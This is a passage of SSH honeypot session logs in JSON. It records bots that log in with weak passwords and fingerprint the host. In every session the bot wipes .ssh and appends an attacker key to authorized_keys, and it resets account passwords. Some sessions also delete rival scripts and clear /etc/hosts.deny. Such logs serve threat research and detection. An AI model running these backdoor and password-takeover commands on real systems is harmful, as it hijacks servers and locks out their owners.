ls)"},{"seq":12,"at":"2026-08-27T10:52:54.768807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:52:55.216860+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:52:55.217595+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:52:55.659949+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:52:55.660810+00:00","kind":"output","latency_ms":null,"data":" 10:52:55 up 7 days, 7:43, 0 user, load average: 0.13, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:52:56.105457+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:52:56.107516+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:52:56.553103+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:52:56.555757+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:52:56.997167+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:52:56.998043+00:00","kind":"output","latency_ms":null,"data":"top - 10:52:56 up 7 days, 7:43, 0 user, load average: 0.13, 0.14, 0.15\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:52:57.440890+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:52:57.443133+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:52:57.881886+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:52:57.893491+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:52:58.333841+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:52:58.334688+00:00","kind":"output","latency_ms":null,"data":"server"},{"seq":29,"at":"2026-08-27T10:52:58.770923+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:52:59.400136+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:52:59.836599+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:53:00.420826+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"server","password":"Server123","method":"password","accepted":true,"tier":"other"}]} {"id":"223a8369-38eb-4e4b-ac8d-7bdc65546e40","name":"mottled-misty-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"178.43.50.171","src_port":42264,"username":"hruser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":368,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:48:45.475629+00:00","ended_at":"2026-08-27T10:48:46.099879+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2044,"events":[{"seq":1,"at":"2026-08-27T10:48:33.900159+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:48:34.267577+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:48:38.348192+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:48:38.351109+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:48:38.710426+00:00","kind":"input","latency_ms":null,"data":"echo -e \"hruser\\nAOe1G694tRNC\\nAOe1G694tRNC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:48:39.080500+00:00","kind":"input","latency_ms":null,"data":"echo \"hruser\\nAOe1G694tRNC\\nAOe1G694tRNC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:48:39.445506+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:48:39.447370+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:48:39.815172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:48:40.366121+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:48:40.737264+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:48:41.267300+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:48:41.639807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:48:41.640398+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:48:42.010134+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:48:42.046537+00:00","kind":"output","latency_ms":null,"data":" 10:48:42 up 7 days, 7:38, 0 user, load average: 0.35, 0.39, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:48:42.377558+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:48:42.378225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:48:42.747639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:48:42.748136+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:48:43.120737+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:48:43.124115+00:00","kind":"output","latency_ms":null,"data":"top - 10:48:43 up 7 days, 7:38, 0 user, load average: 0.35, 0.39, 0.27\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:48:43.486051+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:48:43.487386+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:48:43.861540+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:48:43.862121+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:48:44.225171+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:48:44.225998+00:00","kind":"output","latency_ms":null,"data":"hruser"},{"seq":29,"at":"2026-08-27T10:48:44.594137+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:48:45.115566+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:48:45.476659+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:48:45.990179+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"hruser","password":"hruser","method":"password","accepted":true,"tier":"other"}]} {"id":"e7628936-8342-404b-a8f3-6d9306284970","name":"seaward-crystal-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"103.213.238.91","src_port":37396,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":799,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:45:58.236494+00:00","ended_at":"2026-08-27T10:45:58.984026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T10:45:37.239970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:45:38.037841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:45:44.546222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:45:44.546894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:45:45.346170+00:00","kind":"input","latency_ms":null,"data":"echo \"root:mAcfnwF0v2yw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:45:46.143467+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:45:46.943672+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:45:46.944294+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:45:47.742558+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:45:48.279061+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:45:49.080617+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:45:49.643109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:45:50.446895+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:45:50.449073+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:45:51.245742+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:45:51.246262+00:00","kind":"output","latency_ms":null,"data":" 10:45:51 up 7 days, 7:35, 0 user, load average: 0.26, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:45:52.046990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:45:52.047820+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:45:52.847182+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:45:52.847723+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:45:53.650996+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:45:53.651669+00:00","kind":"output","latency_ms":null,"data":"top - 10:45:53 up 7 days, 7:36, 0 user, load average: 0.26, 0.22, 0.25\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:45:54.455544+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:45:54.458414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:45:55.253389+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:45:55.254047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:45:56.060575+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:45:56.062470+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:45:56.858888+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:45:57.439005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:45:58.237232+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:45:58.729500+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lh123456","method":"password","accepted":true,"tier":"other"}]} {"id":"1c289a18-b33d-4216-b800-326121ede8e9","name":"solar-fabled-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.11.36","src_port":59360,"username":"user14","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":829,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:44:14.502320+00:00","ended_at":"2026-08-27T10:44:15.344863+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2049,"events":[{"seq":1,"at":"2026-08-27T10:43:52.047304+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:43:52.875488+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:44:00.387274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:44:00.387917+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:44:01.215548+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nkHxps9olIROz\\nkHxps9olIROz\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:44:02.042525+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nkHxps9olIROz\\nkHxps9olIROz\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:44:02.866952+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:44:02.867464+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:44:03.695541+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:44:04.198377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:44:05.027582+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:44:05.592398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:44:06.422742+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:44:06.423243+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T10:44:07.251419+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:44:07.251958+00:00","kind":"output","latency_ms":null,"data":" 10:44:07 up 7 days, 7:34, 0 user, load average: 0.25, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:44:08.079999+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:44:08.080752+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:44:08.907093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:44:08.907686+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:44:09.733074+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:44:09.742585+00:00","kind":"output","latency_ms":null,"data":"top - 10:44:09 up 7 days, 7:34, 0 user, load average: 0.25, 0.21, 0.17\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:44:10.562072+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:44:10.562818+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:44:11.398438+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:44:11.399152+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:44:12.234525+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:44:12.235158+00:00","kind":"output","latency_ms":null,"data":"user14"},{"seq":29,"at":"2026-08-27T10:44:13.074851+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:44:13.674323+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:44:14.503117+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:44:15.079292+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user14","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"af896936-a490-4587-a7f3-ab81ff6b066d","name":"smooth-brazen-martin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":48650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:24:30.157713+00:00","ended_at":"2026-08-27T08:24:32.057443+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T08:24:09.948198+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:24:10.298047+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:24:15.441299+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:24:15.711022+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:24:16.060706+00:00","kind":"input","latency_ms":null,"data":"echo \"root:aDgT6CYNE7kO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T08:24:16.411191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T08:24:16.759105+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:24:17.608721+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:24:17.957947+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:24:19.293371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:24:19.645577+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:24:20.844935+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:24:21.171853+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:24:21.878716+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:24:22.203773+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:24:23.060241+00:00","kind":"output","latency_ms":null,"data":" 08:24:23 up 7 days, 5:14, 0 user, load average: 0.19, 0.22, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:24:23.385447+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:24:23.799033+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:24:24.123652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:24:24.593181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:24:24.916782+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:24:25.206730+00:00","kind":"output","latency_ms":null,"data":"top - 08:24:25 up 7 days, 5:14, 0 user, load average: 0.19, 0.22, 0.21\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:24:25.557759+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:24:26.380005+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:24:26.730199+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:24:27.177262+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:24:27.528588+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:24:27.996064+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T08:24:28.346630+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:24:29.808439+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not 